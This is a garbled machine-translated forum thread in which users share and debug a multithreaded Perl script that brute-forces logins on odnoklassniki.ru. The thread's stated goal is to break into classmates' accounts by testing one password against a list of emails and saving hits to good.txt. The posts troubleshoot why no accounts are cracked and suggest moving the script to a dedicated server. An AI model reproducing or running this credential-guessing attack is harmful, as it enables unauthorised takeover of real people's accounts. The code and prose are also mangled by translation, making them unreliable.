Ahogy Brutus lomanut osztálytársak keresztül Pearl

# 3 Dimchik_3D #! / Usr / bin / perl -w
használja IO :: Socket;
fonal használata;
fonal használata :: osztani;

$ Szálak = műszak || 5; # Szálak száma
$ Pass = műszak || 'Qwerty'; #pwd
$ Fname = 'good.txt'; # Érvényes
$ Ml = műszak || 'Emails.txt'; # Listája szappanok

én @acc. megosztott;
my $ i. megosztott;
my $ összesen. megosztott;
$ | = 1;

print "Loading \ n."

open (ACS "<$ml") || die("Could not open mail list file!");
@acc = acc ();

$ Size = skalár @acc;
$ Time = Idő;
$ Start = localtime;
print "Loaded", $ méret, "e-mailek \ n."
printf "Indult $ indul \ n";

sub Brut
míg a (@acc)
<

my $ zokni = new IO :: Socket :: INET
(
PeerAddr => 'w17.odnoklassniki.ru',
PeerPort => 80,
PeerProto => 'TCP',
Timeout => 20
) Or die "Nem lehet kapcsolódni \ n";

print $ zokni $ re;
sysread ($ zokni, my $ MEGVALASZ, 400);

$ Idő = idő- $ time;
$ End = localtime;
printf "helyen a $ végén \ n";
printf "Eltelt idő: $ time mp \ n";
printf "talált: $ teljes \ n";

print "|";
$ Percent = sprintf ( "% 2f.", $ Százalék);
print "<$percent%>\ R „;
print "\ r";
>

# 4 MyP3uk Ez az egység van testre magad és ez. 17: 58: 260

# 5 Dimchik_3D $ ml = műszak || 'Emails.txt'; # Listája mosás és hogyan tudom, hogy kinek szappan szünetet? És ha volt egy szappan))
És akkor, hogy miért?
(
PeerAddr => 'w17.odnoklassniki.ru',
PeerPort => 80,
PeerProto => 'TCP',
Timeout => 20
) Or die "Nem lehet kapcsolódni \ n"; 18: 01: 210

# 6 Red_Shuhov Murzik köszönöm, majd írd vpadlu

PS: a felhasználónevek listája, és átadja jobb tegye a C meghajtó gyökérkönyvtárában
azaz egy sor olyan legyen,: PSS: És mit gondolsz, ő EV osztálytársai szappan nélkül. 18: 03: 460

# 9 Dimchik_3D Red_Shuhov mint részletezném a témát)) Most próbáld magad lomanut 18: 08: 190

# 11 Dimchik_3D Nos, én ülök ott szappan nélkül, általában a mobiltelefonok 18: 09: 460

# 12 Dimchik_3D még nem működik úgy, fuss, és minden margnet 18: 13: 240

# 14 Dimchik_3D nem működik ((((ember, akkor kezdődik a 18. és rendeletek, hogy :. 16: 020

# 15 MyP3uk homlokára csap. 18: 18: 050

# 16 Red_Shuhov segítettem, amennyit csak tudtam, bár én minden működik.

# 17 Dimchik_3D Köszönöm, és mert 18: 23: 200

# 18 MyP3uk És akkor valószínűleg nem hiszem, hogy van egy tolmács jelen)))
És ez jobb, hogy az egész dolog egy dedikált szerver, azt tanácsolom neked. 18: 30: 320

# 19 Dimchik_3D MyP3uk on részletesen. Jelentkeztem, és nem minden jó mindent megért 18: 32: 420

# 20 Dimchik_3D Nem, nem törik. Loading ment, írja 10,78% után 23,63%, stb De semmi sem jelenik meg good.txt. Van a jelszót és a bejelentkezési között pass.txt a emeils.txt 18: 46: 420

# 21 MyP3uk Nos, az utolsó érv - a forgatókönyv elavulttá válna, mint szocialista. Rendszeresen tartsa korszerűsítése hálózati biztonsági rendszer. 18: 58: 220

# 22 Dimchik_3D Nos, ha lecseréled a belépési link? ahol naplók és jelszó van írva 19: 39: 310